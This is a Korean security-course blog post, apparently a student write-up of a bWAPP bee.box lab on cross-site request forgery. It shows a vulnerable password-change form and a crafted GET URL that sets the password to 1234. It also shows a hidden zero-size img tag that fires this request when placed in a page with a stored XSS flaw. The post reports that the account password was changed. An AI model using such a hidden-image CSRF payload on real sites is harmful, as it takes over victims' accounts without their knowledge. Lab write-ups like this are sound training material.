Rookies/애플리케이션 보안
[SK shieldus Rookies 19기] bWAPP bee.box - 크로스 사이트 요청 위조 (CSRF)
bento
2024. 3. 30. 04:15
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정
01. CSRF (Change Password)
로그인된 사용자의 비밀번호를 변경 가능
<form action="/bWAPP/csrf_1.php" method="GET">
<p><label for="password_new">New password:</label><br>
<input type="password" id="password_new" name="password_new"></p>
<p><label for="password_conf">Re-type new password:</label><br>
<input type="password" id="password_conf" name="password_conf"></p>
<button type="submit" name="action" value="change">Change</button>
</form>
페이지를 확인해보면.. 비밀번호를 1234로 바꾸는 요청은
http://bee.box/bWAPP/csrf_1.php?password_new=1234&password_conf=1234&action=change
해당 요청을 이전에 stored xss 취약점이 있었던 페이지에 삽입해보자
<img src="http://bee.box/bWAPP/csrf_1.php?password_new=1234&password_conf=1234&action=change" width="0" height"0" />
bee/bug로 로그인 안됨(비밀번호 1234로 변경됨)
728x90